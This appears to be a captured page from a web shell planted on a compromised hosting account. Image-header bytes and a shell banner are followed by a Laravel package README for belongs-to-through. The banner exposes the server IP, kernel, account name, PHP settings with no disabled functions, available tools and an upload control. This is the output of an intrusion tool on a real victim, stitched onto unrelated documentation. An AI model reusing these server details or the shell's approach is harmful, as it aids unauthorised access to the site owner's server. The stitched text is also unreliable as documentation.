����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.219.43.26 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.gltechlimited.com/vendor/staudenmeir/belongs-to-through/ |
Upload File : |
 [](https://scrutinizer-ci.com/g/staudenmeir/belongs-to-through/?branch=master) [](https://scrutinizer-ci.com/g/staudenmeir/belongs-to-through/?branch=master) [](https://packagist.org/packages/staudenmeir/belongs-to-through) [](https://packagist.org/packages/staudenmeir/belongs-to-through) [](https://packagist.org/packages/staudenmeir/belongs-to-through) ## Introduction This inverse version of `HasManyThrough` allows `BelongsToThrough` relationships with unlimited intermediate models. Supports Laravel 5.0+. ## Installation composer require staudenmeir/belongs-to-through:"^2.5" ## Usage Consider this `HasManyThrough` relationship: `Country` → has many → `User` → has many → `Post` ```php class Country extends Model { public function posts() { return $this->hasManyThrough('App\Post', 'App\User'); } } ``` Use the `BelongsToThrough` trait in your model to define the inverse relationship: `Post` → belongs to → `User` → belongs to → `Country` ```php class Post extends Model { use \Znck\Eloquent\Traits\BelongsToThrough; public function country() { return $this->belongsToThrough('App\Country', 'App\User'); } } ``` You can also define deeper relationships: `Comment` → belongs to → `Post` → belongs to → `User` → belongs to → `Country` Supply an array of intermediate models as the second argument, from the related (`Country`) to the parent model (`Comment`): ```php class Comment extends Model { use \Znck\Eloquent\Traits\BelongsToThrough; public function country() { return $this->belongsToThrough('App\Country', ['App\User', 'App\Post']); } } ``` You can specify custom foreign keys as the fifth argument: ```php class Comment extends Model { use \Znck\Eloquent\Traits\BelongsToThrough; public function country() { return $this->belongsToThrough( 'App\Country', ['App\User', 'App\Post'], null, '', ['App\User' => 'custom_user_id'] ); } } ``` ### Table Aliases If your relationship path contains the same model multiple times, you can specify a table alias (Laravel 6+): ```php class Comment extends Model { use \Znck\Eloquent\Traits\BelongsToThrough; public function grandparent() { return $this->belongsToThrough( 'App\Comment', 'App\Comment as alias', null, '', ['App\Comment' => 'parent_id'] ); } } ``` Use the `HasTableAlias` trait in the models you are aliasing: ```php class Comment extends Model { use \Znck\Eloquent\Traits\HasTableAlias; } ``` ### Soft Deleting By default, soft-deleted intermediate models will be excluded from the result. Use `withTrashed()` to include them: ```php class Comment extends Model { use \Znck\Eloquent\Traits\BelongsToThrough; public function country() { return $this->belongsToThrough('App\Country', ['App\User', 'App\Post']) ->withTrashed('users.deleted_at'); } } class User extends Model { use SoftDeletes; } ``` ## Contributing Please see [CONTRIBUTING](.github/CONTRIBUTING.md) and [CODE OF CONDUCT](.github/CODE_OF_CONDUCT.md) for details. ## Credits - [Rahul Kadyan](https://github.com/znck) - [Danny Weeks](https://github.com/dannyweeks) - [All Contributors](../../contributors)